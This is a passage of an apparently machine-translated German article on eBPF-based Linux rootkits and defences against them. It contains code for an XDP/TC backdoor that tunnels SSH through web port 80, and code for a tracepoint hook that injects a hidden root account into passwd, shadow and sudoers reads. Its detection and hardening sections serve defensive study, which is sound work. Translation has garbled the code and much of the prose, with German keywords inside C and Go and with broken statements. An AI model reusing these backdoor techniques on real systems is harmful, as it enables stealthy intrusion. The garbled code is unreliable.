Linux-eBPF-Angriffe und Sicherheitsherausforderungen

Vorwort

In den letzten Jahren ist der Cloud-native Bereich sprunghaft gewachsen, und K8s hat sich zu einem anerkannten Cloud-Betriebssystem entwickelt. Die häufige Bereitstellung von Containern, der kurze Lebenszyklus und das komplexe Netzwerk-Routing haben neue Herausforderungen für die Kernel-Sicherheit mit sich gebracht. Die Komplexität des Systemkerns nimmt zu, und es ist äußerst schwierig, die neuen Anforderungen an Leistung und Skalierbarkeit zu erfüllen und gleichzeitig die Stabilität und Verfügbarkeit des Systems zu gewährleisten. Zu dieser Zeit erschien eBPF, das die Stabilität des Systemkerns mit kleinen Subsystemänderungen garantiert und außerdem die Funktion des dynamischen Ladens in Echtzeit besitzt, mit der Geschäftslogik in den Kernel geladen werden kann, um die dynamische Ausführung von Hot Updates zu erreichen.

eBPF wurde aus BPF (Berkeley Packet Filter) entwickelt, das 1992 von Steven McCanne und Van Jacobson vorgeschlagen, 1997 in den Linux-Kernel 2.1 aufgenommen und in Version 3.0 um einen On-the-fly-Compiler erweitert wurde, der im Bereich der Netzwerkfilterung eingesetzt wird. 2014 implementierte Alexei Starovoitov implementierte eBPF und erweiterte es auf den Benutzerbereich, um noch mehr Leistung zu erhalten. Die weit verbreiteten TCPDUMP & LIBPCAP basieren darauf. Im Linux-Kernel 4.x wurden Ereignistypen wie Kernel-State-Funktionen, User-State-Funktionen, Tracepoints, Performance-Events (perf_events) und Sicherheitskontrollen erweitert. Vor allem in den letzten Jahren hat die rasante Entwicklung von Cloud Native auch zum Aufblühen von eBPF geführt. Unternehmen wie Microsoft, Google und Facebook gründeten die eBPF Foundation, und Cilium veröffentlichte Netzwerkprodukte, die auf der eBPF-Technologie basieren. Die eBPF-Technologie treibt zwar die rasche Entwicklung neuer Unternehmen voran, birgt aber auch Sicherheitsrisiken.

Analyse der aktuellen Situation

Aus einigen Informationen aus dem Ausland und dem Inland geht hervor, dass eBPF von vielen illegalen Organisationen und Einrichtungen böswillig genutzt wurde, während gleichzeitig viele technische Schwierigkeiten gelöst wurden.

Informationen aus Übersee

Schwarzer Hut

Auf der Black Hat 2021 hat der Datadog-Ingenieur Guillaume Fournier einen Vortrag über das ThemaWer braucht schon Feinde mit Freunden wie eBPF?Aktien beschreibt er, wie eBPF böswillig ausgenutzt werden kann, einschließlich der Erstellung eines Rootkits, wie es ausgenutzt werden kann, und stellt Erkennungsschutzcode auf dieGitHub Auf.

DEFCON

Auf der DEF CON29 berichtete der Sicherheitsforscher Pat Hogan auch über einige Fälle, in denen eBPF böswillig ausgenutzt wurde:Warping Reality - Erstellung und Bekämpfung der nächsten Generation von Linux-Rootkits mit eBPF. Dort werden die Anwendungsszenarien des eBFP-Rootkits beschrieben, einschließlich Netzwerk-, Laufzeit- und anderer Szenarien, und es wird erläutert, wie eBPF in böswilliger Weise ausgenutzt werden kann. Der Code befindet sich auch in derGitHub Auf.

Häusliche Informationen

Im Gegensatz zum Ausland gibt es in China weniger Informationen über die böswillige Ausnutzung von eBPF und weniger Austausch von entsprechenden Technologien.Es ist möglich, dass dieser Aspekt der Gefahr noch nicht die Aufmerksamkeit unserer Partner im Bereich der inneren Sicherheit gefunden hat, und wenn wir dies weiterhin tun, wird dies unweigerlich die Fähigkeit der inländischen Unternehmen in derNetzwerksicherheitDer Aufbau des Verteidigungssystems, was wiederum dazu führt, dass der Sicherheitsschutz hinter dem Ausland zurückbleibt, was größere Risiken für die Unternehmenssicherheit und sogar die nationale Sicherheit mit sich bringt. Meituan (chinesisches Unternehmen)InformationssicherheitAls Erbauer des Verteidigungssystems hat das Team die Verantwortung und die Pflicht, zu einem besseren Verständnis dieser bösartigen Ausnutzung beizutragen, die Erfahrungen der Mission bei der Erkennung und Abwehr dieser Ausnutzung weiterzugeben und dieNetzwerksicherheitProdukte, in der Hoffnung, einen bescheidenen Beitrag zum Aufbau der nationalen Informationssicherheit zu leisten.

Angriffsgrundsätze für die böswillige Ausnutzung der eBPF-Technologie

Den Feind zu kennen und sich selbst zu kennen, ist der einzige Weg, um hundert Schlachten zu schlagen. Um eine gute Verteidigung aufzubauen, muss man sein Angriffsprinzip verstehen. Schauen wir uns zunächst an, wie das eBPF-Rootkit aufgebaut ist. Die eBPF-Funktionalität umfasst die folgenden Funktionsbereiche:

• Vernetzungen
• Kontrolle
• Beobachtung (wissenschaftlich usw.)
• Verfolgung und Leistungsanalyse
• Bürgschaft

existierenVernetzungenCloud-native Unternehmen wie Cilium haben zahlreiche Produkte für die Netzwerkebene entwickelt, die das Grid-Management zusammen mit den entsprechenden Sicherheitsrichtlinien auf Netzwerkebene implementieren, vor allem im Bereich der Netzwerkorchestrierung, die sich besonders gut entwickelt hat und allmählich dieiptablesund anderen Produkten gibt es eine große Tendenz zur Vereinheitlichung der Welt. Und in derKontrolleundBeobachtung (wissenschaftlich usw.)Es gibt auch viele Produkte in Bereichen wie z.B.. Speziell im Bereich der Laufzeitsicherheit (Runtime Security) haben Datadog, Falco, Google und andere Unternehmen ebenfalls entsprechende Produkte auf den Markt gebracht. Bei Interesse können Sie sich die Produkt-Quellcode-Analyse ansehen (Quellcode-Analyse des eBPF-Implementierungsmechanismus von CiliumundAnalyse des eBPF-Sicherheitserkennungsmechanismus von Datadog) des Teilens.

Wir überprüfen die Hakenpunkte der eBPF-Technologie:

Wie Sie aus der Abbildung ersehen können, besteht die Hakenpunktfunktion von eBPF aus den folgenden Teilen:

1. Es kann zwischen Speicher, Netzwerk, etc. sein, um mit dem Kernel zu interagieren;
2. Sie kann auch zwischen Funktionsmodulen im Kernel stattfinden;
3. Auch hier kann es sich um Interaktionen zwischen Kernel-State und User-State handeln;
4. Darüber hinaus kann es sich auch im Userland-Prozessraum befinden.

Die Funktionen von eBPF umfassen XDP, TC, Probe, Socket usw. Jeder Funktionspunkt ermöglicht Verhaltensweisen zur Manipulation des Kernel-Zustands, wodurch der Benutzer-Zustand völlig blind wird, selbst wenn das Kernel-Modul-basierte HIDS diese Verhaltensweisen nicht wahrnehmen kann.

Basierend auf den funktionalen Funktionen von eBPF fördern aus Sicht der Geschäftsszenarien die Funktionen der Netzwerk-, Überwachungs- und Beobachtungsklassen die Entwicklung von Produkten im Cloud-nativen Bereich; die Funktionen der Tracking-/Leistungsanalyse und der Sicherheitsklassen beschleunigen die Entwicklung von Sicherheitsabwehr- und Audit-Produkten; und die bösartige Ausnutzung im Sicherheitsbereich wird ebenfalls zumHacker (Informatik) (Lehnwort)Richtung der Besorgnis. In diesem Artikel werden wir die neuen Bedrohungen und die Ideen zur Verteidigung erörtern.

In Bezug auf die Phase des Datenflusses ist dieses Papier in zwei Teile gegliedert, gefolgt von einer Erörterung der böswilligen Ausnutzung, der Gefahren und der Abwehrideen.

1. Bösartige Ausnutzung der Linux-Netzwerkschicht
2. Bösartige Ausnutzung der Linux-Laufzeit

Bösartige Ausnutzung der Linux-Netzwerkschicht

Nehmen wir einen Server mit SSH- und Webdiensten als Beispiel: In der allgemeinen Netzwerkzugangsrichtlinie der IDC ist der öffentliche Web-80-Port geöffnet, um den IP-Zugang von jeder Quelle zu ermöglichen. Und der SSH-Dienst erlaubt nur den Zugriff auf bestimmte IP-Adressen oder nur auf offene Intranet-Ports.

Angenommen, dieser Server wurde gehackt und der Hacker muss eine Hintertür hinterlassen und benötigt eine versteckte, zuverlässige Netzwerkverbindung, die als Hintertürkanal fungiert. Wie würde dies mit der eBPF-Technologie erreicht werden?

XDP/TC-Schicht modifiziert TCP-Pakete

Um die Hintertür besser zu verstecken, ist es besser, den Prozess nicht zu öffnen und nicht auf den Port zu hören (in diesem Teil diskutieren wir nur das Verstecken auf der Netzwerkebene). Die eBPF-Technologie in der XDP-, TC-, Socket- und anderen Kernel-Schicht-Funktionen, können Verkehrsinformationen Änderung zu erreichen, werden diese Funktionen oft in der L3, L4 Netzwerk-Lastverteilung verwendet. Zum Beispiel basieren alle Netzwerkrichtlinien von Cilium auf der XDP-Implementierung von eBPF. eBPF hakt den XDP-Punkt ein, ändert die Ziel-IP des TCP-Pakets, und der Systemkern leitet das Paket dann weiter.

In Anlehnung an XDP und TC im Linux-Kernel wird der Ort des Ein- und Austritts behandelt, um den Hook-Point genauer zu bestimmen.

• XDP verfügt über einen Prozedurtyp BPF_PROG_TYPE_XDP, der Datenverkehr am Eingang verwerfen, ändern und erneut übertragen kann, jedoch nicht am Ausgang.
• TC's BPF_PROG_TYPE_SCHED_CLS kann zusätzlich zur Funktionalität von XDP "BPF_PROG_TYPE_XDP" auf Egress arbeiten.

Das häufigste Szenario für erstere ist die Verwendung von Netzwerk-Firewalls zur Bereinigung des Netzwerkverkehrs, was viel effizienter ist als herkömmliche Firewalls. Letztere wird häufig in nativen Cloud-Szenarien, Containern, der Überwachung des Pod-Netzwerks, der Sicherheitszugangskontrolle und so weiter eingesetzt. In diesem Beispiel sollte sowohl der eingehende als auch der ausgehende Verkehr angepasst werden, so dass beide Hook-Points verfügbar sein müssen. In ähnlicher Weise können in XDP und anderen Phasen des Hooks, in denen die relevante Paketlogik gehandhabt wird, die Kommunikationspakete besser versteckt werden, tcpdump und andere Tools können nicht abgefangen werden.

Kontrollverbindung

Im Backdoor-Szenario können Sie den Zielport von 80 in Web Nginx auf 22 in SSHD am selben Ort ändern, wie beim Lastausgleich von eBPF, und Sie können Netzwerkdaten durchleiten und so Firewalls und Netzwerkzugangsbeschränkungen umgehen.

Authentifizierungsschlüssel

Da das Backdoor-Rootkit auf der XDPTC-Schicht arbeitet, ist es, um die Dinge so einfach wie möglich zu halten, am besten, nur Daten der Verbindungs-, Netzwerk- und Transportschicht für den Authentifizierungsschlüssel zu verwenden, d. h. MAC-Informationen, IP-Quintett usw. IPs ändern sich häufig, und die MAC-Adresse ist wahrscheinlich eindeutig, ebenso wie die Einstellung eines festen Ports, der noch eindeutiger ist, da der Authentifizierungsschlüssel für das Rootkit implementiert werden kann (erfordert Folgendes Client, um den TCP-Port des Clients anzugeben, wenn der Client die Verbindung initiiert).

eBPF uprobe verknüpft mit eBPF map

Für die Aktualisierung von Backdoor-Rootkit-Schlüsseln ist es ebenfalls sinnvoll, eBPF zu verwenden. Im Nginx-Szenario implementiert uprobe beispielsweise die Hook-HTTP-Funktion, um eine bestimmte Zeichenfolge in den URL-Parametern zu erhalten, und speichert die Zeichenfolge dann in der eBPF-Map, wodurch die Schlüsselaktualisierung erreicht wird.

Die eBPF-Rootkit-Ausführung auf der XDP/TC-Schicht liest den Schlüssel in der eBPF-Map und führt eine Vergleichsoperation durch.

Prozess der Umsetzung

Hier ein Beispiel für den Umgang von XDP mit dem Ingress:

SEC ("xdp/ingress")
int xdp_ingress(Struktur xdp_md *ctx) {
Struktur cursor c.
Struktur pkt_ctx_t pkt.

//Bestimmen, ob das Protokoll SSHD ist, wenn nicht, dann direkt freigeben
wenn (! (nicht SSHD-Protokoll(&c))) {
return XDP_PASS.
}

// Feststellen, ob das Rootkit passt und ob die NIC-Informationen mit dem Quellport übereinstimmen
hack_mac[] = "Lesen der bpf-Kartenkonfiguration".
wenn(Schlüsselübereinstimmung) {
return XDP_PASS.
}

// Lesen Sie die Karte, um festzustellen, ob der Client bereits existiert.
Struktur netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);

Struktur netinfo *client_value.
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);

// Wenn du die Verkleidung nicht findest, baue sie selbst zusammen
wenn(!client_value) {
__builtin_memset(&client_value, 0, sizeof(client_value));
} sonst {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}


// Mac LAN Mac-Informationen verbergen
pkt.eth->h_source[0] = 0x00;
...

// Ersetzen Sie die IP-Quelle der Masquerade, wobei der Client-Port unverändert bleibt.

// Ändern Sie den Zielport
pkt.tcp->dest = htons(FACK_PORT);    //22

// Berechnung der TCP-SUMME Schicht 4
ipv4_csum(pkt.tcp, sizeof(Struktur tcphdr), &csum);
pkt.tcp->check = csum;

// Schreiben Sie die verdeckte Karte für TC, um die Wiederherstellung der ursprünglichen Makro- und IP-Informationen des Ausgangs zu behandeln.
return XDP_PASS.
}

Eine relativ einfache Demo kann implementiert werden, um TCP-Pakete auf der Ausgangsseite zu verschleiern. Wenn die TK-Schicht die Pakete in Ausgangsrichtung verarbeitet, braucht sie nur die ursprünglichen Informationen der getarnten Pakete zu reduzieren. Der gesamte Prozess ist in der folgenden Abbildung dargestellt:

Auf diese Weise beeinträchtigt die Kommunikationsverbindung des Rootkits nicht den normalen Benutzerzugriff, und es werden keine Änderungen am Originalsystem vorgenommen, wodurch es besonders gut versteckt werden kann.

Video-Demonstration

Wir haben drei Hosts für den Test vorbereitet:

1. Eindringling: cnxct-mt2 mit IP 172.16.71.1.
2. Regulärer Benutzer: ubuntu mit IP 172.16.71.3.
3. Kompromittierter Server: vm-ubuntu, IP 172.16.71.4. nginx Web-Port 80 öffnen; SSHD-Port 22 öffnen und iptables-Regel so einstellen, dass nur Intranet-IP-Zugang erlaubt ist.

bedrohen

Dieses Rootkit erstellt nicht aktiv Sockets und leiht sich eines der Netzwerksendepakete, um die Nachricht an den Backdoor-Benutzer zu übermitteln. Im Hinblick auf die Auswirkungen auf das System ist es nur eine kleine, unbedeutende Netzwerkantwort. Es kann in den Tausenden von HTTP-Paketen überhaupt nicht gefunden werden.

1. Umgehung der iptables-FirewallPort 80, der für die Öffentlichkeit zugänglich ist, als Kommunikationstunnel verwenden;
2. WebIDS-UmgehungDer Verkehr kommt beim Server an und wird nicht an Nginx weitergeleitet;
3. NIDS-UmgehungEs ist nichts Ungewöhnliches daran, dass der Datenverkehr von Eindringlingen zwischen LANs fließt, er kann nur nicht entschlüsselt werden;
4. HIDS-UmgehungIst die Firewall so vertrauenswürdig, dass sie SSHD-Anmeldungen von lokalen/LAN-Quellen ignoriert.

Bösartige Ausnutzung der Linux-Laufzeit

Im Cloud-nativen Ökosystem ist eine große Anzahl von Cluster-Netzwerkmanagement-Plug-ins auf der Grundlage von eBPF-Technologie-Implementierungen entstanden, z. B. Calico, Cilium und so weiter. Die vom Unternehmen implementierten Netzwerkverwaltungsdienste werden in Containern bereitgestellt, und es ist erforderlich, diesen Containern SYS_BPF_ADMIN-Rechte zu gewähren, um eBPF-Systemaufrufe zu unterstützen. Die Umgebung, in der diese Dienste ausgeführt werden, bietet Angreifern ein ideales Betätigungsfeld.

Prozess der Umsetzung

Erinnern Sie sich daran, dass eBPFs Hook-Point-, Kprobe- und Tracepoint-Ereignistyp im Syscall, wenn er in einem Backdoor-Rootkit-Szenario verwendet wird, sehr beängstigend ist. Sie können zum Beispiel den Kernel-Status ändern, um zu den Benutzer-Statusdaten zurückzukehren, das Verhalten des Benutzer-Status abfangen und blockieren usw., tun Sie, was Sie wollen. Noch beängstigender ist, dass herkömmliche HIDS auf dem Kernel- oder Benutzerstatus basieren, um das Verhalten zu überwachen. eBPF umgeht die meisten HIDS-Überwachungen und erzeugt keine Protokolle, sondern lässt die Leute einfach "extrem ängstlich denken und erschaudern".

tracepoint Ereignis Typ Haken

In SSHD-Anwendungen werden bei der Anmeldung eines Benutzers Dateien wie /etc/passwd gelesen. Das SSHD-Programm im Benutzerzustand ruft Systemaufrufe wie open, read usw. auf, damit der Kernel die Daten auf der Hardwareplatte abrufen und an den SSHD-Prozess zurückgeben kann.

Userland generiert die Nutzlast

Der Benutzerzustand implementiert die Erzeugung von Nutzdaten für Dateien wie /etc/passwd, /etc/shadow usw. und vervollständigt die Ersetzung von Feldwerten für ELF .rodata durch eBPFs RewriteConstants-Mechanismus.

importieren "github.com/ehids/ebpfmanager"

// Übergabe von Daten über die Konstantenersetzung von elf.
func (e *MBPFContainerEscape) constantEditor() []Manager.ConstantEditor {
	var username = RandString(9)
	var Passwort = RandString(9)
	var s = RandString(8)

salt := []Byte(fmt.Sprintf("$6$%s", s))
	// Verwendung von Salt zum Hashing des vom Benutzer eingegebenen Passworts
	c := sha512_crypt.New()
hash, err := c.Generate([])Byte(Passwort), Salz)
    
	var m = Karte[String]Schnittstelle{}{}
res := machen.([]Byte, PAYLOAD_LEN)
	var Nutzlast = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", Nutzername)
	kopieren.(res, payload)
m["Nutzlast"] = res
m["Nutzlast_len"] = uint32(len(Nutzlast))

    // Passwd-String generieren
	var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bashn", Nutzername)
	// Erzeugen einer Schattenzeichenkette
	var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::n", Benutzername, Hash)
	
    // eBPF RewriteContants
    var editor = []manager.ConstantEditor{
{
Name.          "Nutzlast",
Wert: m["Nutzlast"],
FailOnMissing. wahr,
},
{
Name.          "Nutzlast_len",
Wert: m["Nutzlast_len"],
FailOnMissing. wahr,
            },
    }
    return Herausgeber
}

func (dies *MBPFContainerEscape) setupManagers() {
this.bpfManager = &manager.Manager{
Probes: []*manager.Probe{
{
Abschnitt.          "tracepoint/syscalls/sys_enter_openat",
EbpfFuncName.     "handle_openat_enter",
AttachToFuncName. "sys_enter_openat",
}
            ...
},

Maps: []*manager.Map{
{
Name. "Ereignisse",
},
},
}

this.bpfManagerOptions = manager.Options{
...
		// Füllen Sie die Karte aus, die den RewriteContants entspricht.
		ConstantEditors: this.constantEditor(),
}
}

Kernel-Status mit Nutzlast

const flüchtig int payload_len = 0;
...
const flüchtig char (Rechnen) payload_shadow[MAX_PAYLOAD_LEN].

SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
    // Feststellen, ob es sich bei dem Verhalten um ein Rootkit handelt und ob die Nutzlast geladen werden muss.
    ...
    lang int read_size = ctx->ret;
    // Ermitteln, ob die Länge des ursprünglichen Buffs kleiner ist als die Nutzlast.
    wenn (read_size < payload_len) {
        return 0;
    }
    
    // Ermitteln Sie den Dateityp und fügen Sie bei Übereinstimmung die entsprechende Nutzlast an.
    Schalter (pbuff_addr->file_type)
    {
    Fall FILE_TYPE_PASSWD.
        // Überschreiben Sie die Nutzlast in den Buff, verwenden Sie den ursprünglichen Buff für eventuelle Fehlmengen.
        {
            bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr).
            für (ohne Vorzeichen int i = 0; i < MAX_PAYLOAD_LEN; i++) {
                wenn (i >= payload_passwd_len) {
                    local_buff[i] = ' ';
                }
                sonst {
                    local_buff[i] = payload_passwd[i];
                }
            }
        }
        Pause;
    Fall FILE_TYPE_SHADOW.
        // Überschreiben Sie die Schattendatei.
        ...
        Pause;
    Fall FILE_TYPE_SUDOERS.
        //Überschreiben von sudoers
        ...
        Pause;
    Standard:
        return 0;
        Pause;
    }


    // Nutzlastspeicher in den Puffer schreiben
    ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN).
    // Senden von Ereignissen an Userland
   
    return 0;
}

Entsprechend dem Design des oben genannten Demo-Rootkits vervollständigt es die zufällige Hinzufügung von Benutzernamen und Passwort für das Root-Konto. In Bezug auf die Authentifizierung kann es auch mit der Demo "eBPF network layer malicious use" verwendet werden, wobei die eBPF-Map-Interaktion verwendet wird, um die entsprechende Authentifizierung zu erreichen. Das Rootkit selbst verändert jedoch nicht die Dateien auf der Festplatte und erzeugt kein riskantes Verhalten. Darüber hinaus deckt das Rootkit nur bestimmte Prozesse ab, was es noch unauffälliger macht. Der gesamte Prozess ist in der folgenden Abbildung dargestellt:

Es funktioniert genauso, egal ob es sich um einen physischen Rechner oder einen Container mit root+BPF-Berechtigungen handelt.

Kritische Gefahr

In Cloud-Native-Szenarien gibt es viele Containerszenarien, die SYS_ADMIN-Privilegien vergeben, und mit der jüngsten "Java log4j"-Schwachstelle ist es möglich, direkt in den Container einzudringen und Host-Privilegien zu erhalten, ist das nicht schrecklich?

Aber es ist noch beängstigender als das:Dieses Rootkit selbst erstellt keine Protokolle über das Verhalten des Benutzers und ändert auch keine Dateien, und es können keine Informationen über diesen Benutzer im System gefunden werden. Das gesamte Backdoor-Verhalten erzeugt keine Daten und deaktiviert die meisten HIDS.

eine Zusammenstellung

Von der Demonstration der beiden Szenarien in diesem Artikel gesehen werden kann, glaube ich, dass wir bereits wissen, die Gefahren der eBPF-Technologie ist böswillige Verwendung. In der Tat ist dies nur die "Spitze des Eisbergs" der bösartigen Vorteile der eBPF-Technologie, kproebuprobe hat auch eine Menge von Funktionen, wie die Umsetzung des Prozesses des Versteckens, keine Spur von Intranet-Scanning und so weiter. Für weitere verwandte bösartige Exploits, können Sie sich beziehen aufBad BPF - Verformung der Realität mit eBPFEin Artikel.

Wenn der Eindringling sorgfältig entworfen Rootkit, Prozess versteckt, etc., so dass das Rootkit mehr versteckt, nach den Ideen in diesem Artikel, um eine "Ghost-ähnliche" Hintertür zu erreichen, darüber nachzudenken, macht es den Menschen Angst.

Herkömmliche Produkte zur Abwehr der Host-Sicherheit verwenden in der Regel Netlink, Linux-Kernel-Module und andere Technologien, um Prozesse zu erstellen, Netzwerkkommunikation und andere Verhaltensweisen zu erkennen, während die Hook-Points von eBPF tiefer liegen können als diese Technologien und früher ausgeführt werden, was bedeutet, dass herkömmliche HIDS sie nicht wahrnehmen und entdecken.

Traditionelle Rootkit, mit Haken api Methode, ersetzen Sie die ursprüngliche Funktion, was bei der Umsetzung der Funktion Aufruf Adresse ändert, gibt es ausgereifte Erkennungsmechanismen, eBPF Haken unterscheidet sich von der traditionellen Rootkit, Funktionsaufruf Stack unverändert. Dies bringt eine Menge Ärger, um die Erkennung.

Wie können wir also solche Hintertüren aufspüren und uns dagegen schützen?

Aufdeckung und Abwehr

Der Verlauf der Ereignisse lässt sich in drei Phasen einteilen:

• pre-operational
• Laufzeit (in der Datenverarbeitung)
• nach dem Lauf

pre-operational

Die Idee, die Angriffsfläche zu verringern, bevor das Schadprogramm ausgeführt wird, ist konstant.

Umweltbedingte Zwänge

Ob es sich um den Host oder den Container handelt, die Berechtigungen sind konvergiert, und wenn Sie SYS_ADMIN, CAP_BPF und andere Berechtigungen nicht geben können, dann deaktivieren Sie sie. Wenn Sie diese Berechtigung öffnen müssen, dann kann sie nur in der Laufzeiterkennungssitzung gesetzt werden.

seccomp-Einschränkungen

Ändern Sie beim Start des Containers die Standarddatei seccomp.json, um bpf-Systemaufrufe zu deaktivieren, um ein Entweichen des Containers zu verhindern; beachten Sie, dass diese Methode nicht für privilegierte Container funktioniert.

Einschränkungen der Kernelkompilierungsparameter

Wenn Sie den Rückgabewert einer Funktion für den Laufzeitschutz ändern, müssen Sie bpf_override_return verwenden, was voraussetzt, dass der Kernel den Kompilierungsparameter CONFIG_BPF_KPROBE_OVERRIDE aktiviert. Aktivieren Sie diesen Kompilierungsparameter also nur unter besonderen Umständen.

Anleitung für unprivilegierte Benutzer

Die meisten eBPF-Programmtypen erfordern einen Benutzer mit Root-Rechten, um sie zur Ausführung aufzurufen. Es gibt einige wenige Ausnahmen, wie z.B. BPF_PROG_TYPE_SOCKET_FILTER und BPF_PROG_TYPE_CGROUP_SKB, für die kein root-Recht erforderlich ist, die aber das Lesen der Systemkonfigurationsschalter erfordern.

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240

wenn (Typ ! = BPF_PROG_TYPE_SOCKET_FILTER &&
typ ! = BPF_PROG_TYPE_CGROUP_SKB &&
!bpf_capable())
		return -EPERM.

Bestätigung des Schalters

In /proc/sys/kernel/unprivileged_bpf_disabled kann dies durch Ausführen des Befehlssysctl kernel.unprivileged_bpf_disabled=1um die Konfiguration zu ändern. Die Bedeutung der Konfiguration ist beschrieben inDokumentation für /proc/sys/kernel/.

• Ein Wert von 0 bedeutet, dass unprivilegierte Benutzer bpf aufrufen dürfen;
• Ein Wert von 1 verbietet es nicht privilegierten Benutzern, bpf aufzurufen, und der Wert kann nicht geändert werden, nur nach einem Neustart;
• Ein Wert von 2 bedeutet, dass nicht privilegierte Benutzer bpf nicht aufrufen dürfen, was wiederum auf 0 oder 1 geändert werden kann.

Charakterisierung

Es wurde vorgeschlagen, eine Signaturüberprüfung durchzuführen, wenn der Kernel BPF-Bytecode lädt, um den Punkt zu erreichen, an dem nur sicher signierter BPF-Bytecode geladen wird. Dieses Thema ist auch in lwn.net aufgeführt:BPF Bytecode-Signaturschema.

Aber viele Menschen schlagen auch vorEinspruchSie sind der Meinung, dass das BPF-Modul in den letzten Jahren zu abstrakt und kompliziert war und wollen daher keine zusätzlichen Funktionen hinzufügen, die die BPF instabiler machen. Stattdessen änderten sie ihre Denkweise, um zu ermöglichen, dass Bytecode signiert wird, wenn er geladen wird, um "den BPF-Bytecode auszuführen, der von dem zu signierenden Benutzerprogramm geladen wird", was eine bestehende Kernel-Funktion ist, die die Systemkomplexität nicht erhöht.

In diesem Artikel wird argumentiert, dass dies die meisten Probleme beim Laden von BPF-Bytecode lindert. Allerdings ist die Verwendung der systemeigenen Befehle (tcipbpftoolusw.) sind immer noch bedroht, wenn sie geladen sind. Zum Beispiel:ip link set dev ens33 xdp obj xdp-example_pass.o.

Operative Kontrollen

Die meisten eBPF-Programme existieren nach einem Neustart nicht mehr, so dass Eindringlinge versuchen werden, die Hintertür so oft wie möglich selbst zu starten. Überprüfen Sie den Selbststart des Linux-Systems, die Crontab und andere geplante Aufgaben.

User-State-Programme können in verschiedenen Formen vorliegen, ELF-Executables, ELF also dynamische Link-Bibliotheken sein. Während der Ausführung muss ein BPF Syscall aufgerufen werden, um BPF Bytecode zu laden. Es ist nicht genau genug, die Erkennung nur für ausführbare ELF durchzuführen.

Laufzeit (in der Datenverarbeitung)

Kontrolle

Alle Programme, die auf einem Linux-System laufen, müssen einen Systemaufruf machen, und das eBPF-Programm ist da keine Ausnahme. Die Anweisung SYS_BPF mit dem Syscall 321 muss aufgerufen werden. Und alle eBPF-Programme, die eine Karte erstellen, müssen diesen Syscall-Aufruf ausführen. Dann ist es die beste Lösung, diesen notwendigen Pfad abzufangen und zu überwachen.

SEC ("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
	Struktur bpf_context_t *bpf_context = make_event();
	wenn (!bpf_context)
		return 0;
bpf_context->cmd = args->cmd;
get_common_proc(&bpf_context->procinfo) ;
send_event(args, bpf_context) ;
    return 0;
}

Hier hat unser Open-Source-Projekt ehids ein Beispiel für die Erkennung von BPF-Systemaufrufen erstellt, das Sie mit der Gabel verstehen können. Die Repository-Adresse ist:GitHub/ehids.

Der aufmerksame Leser mag sich an dieser Stelle fragen, was passiert, wenn die Hintertür des Eindringlings früher ausgeführt wird und diesen Systemaufruf fälscht. Dies ist eine sehr gute Frage, die wir im Kapitel über die Rückverfolgbarkeit nach der Ausführung erörtern werden. In den meisten Szenarien können die HIDS-Abwehrprodukte jedoch immer noch als erstes eingesetzt werden.

Prüfung & Screening

Oben haben wir die Überwachung des Aufrufs des BPF-Systems erörtert. In Cloud-Native-Szenarien werden die auf der Grundlage von eBPF implementierten Netzwerkprodukte häufig aufgerufen, was eine große Anzahl von Ereignisprotokollen erzeugt und somit den Druck auf die Betriebsstudenten erhöht. Unser nächstes Ziel ist daher die Rationalisierung und das präzise Screening von Verhaltensmustern.

Filterung nach der Whitelist des Programms

Datenfilterung, eine Lösung für die Belastung durch große Datenmengen. Auf einigen Business-Servern von BPF-Anwendungen erzeugt das Geschäftsverhalten selbst eine große Anzahl von Aufrufen, die den Prüfungsdruck auf die Sicherheitswarnung erhöhen. Bei bekannten Prozessen können wir auf der Grundlage von Prozessmerkmalen filtern.

Ermittelt die aktuelle Prozess-Pid, Comm und andere Attribute und entscheidet, ob ein Bericht erstellt werden soll oder nicht, oder ob der Prozess gemäß der in die eBPF-Map im Benutzerzustand geschriebenen Konfiguration abgefangen werden soll. Es ist auch möglich, die Filterung im Benutzerzustand durchzuführen, aber der Kernelzustand ist effizienter. Wenn Sie ein Abfangen durchführen, muss dies im Kernel-Status implementiert werden.

Sie können sich beziehen aufsaBPF Produktdesign-Ideen mit eBPF, um Hook-Prozeduren für LSM-Hook-Points zu implementieren, um die zugehörigen Audit-Aufrufe abzuschließen. ObwohlGitHub/saBPF-Projekt Der Projektcode ist immer noch nur eine Demo, aber die Ideen können übernommen werden.

Filter nach SYSCALL-Typ

In BPF syscall umfassen die Unterbefehlsfunktionen map, prog und viele andere Arten von Operationen.bpf()-Unterbefehlsreferenz In realen Geschäftsszenarien ist das Sicherheitsrisiko von "Schreib"-Vorgängen höher als von "Lese"-Vorgängen, daher können wir "Lese"-Vorgänge herausfiltern und nur "Schreib"-Vorgänge melden und prüfen. Daher können wir "Lese"-Vorgänge herausfiltern und nur "Schreib"-Vorgänge melden und prüfen.

Zum Beispiel:

• MAP-Erstellung BPF_MAP_CREATE
• PROG-Last BPF_PROG_LOAD
• BPF_OBJ_PIN
• BPF_PROG_ATTACH
• BPF_BTF_LOAD
• BPF_MAP_UPDATE_BATCH

Insbesondere Geschäftsszenarien mit BPF-Anforderungen ermöglichen eine bessere Prüfung von Protokollen.

nach dem Lauf

Ein paar Fragen hier. eBPF Userland-Programm interagiert mit Kernelland-Programm, nach dem Laden BPF Bytecode, kann es beenden? Funktioniert die Kernel-Hook-BPF-Funktion nach dem Beenden noch? Ist die erstellte Map noch vorhanden? Wie wählen wir ein Backdoor-Programm aus, um eine bessere Tarnung zu gewährleisten?

Wenn wir diese Fragen beantworten wollen, müssen wir auf den Lademechanismus von BPF-Programmen, den BPF-Objektlebenszyklus, eingehen.

Dateideskriptoren und Referenzzähler

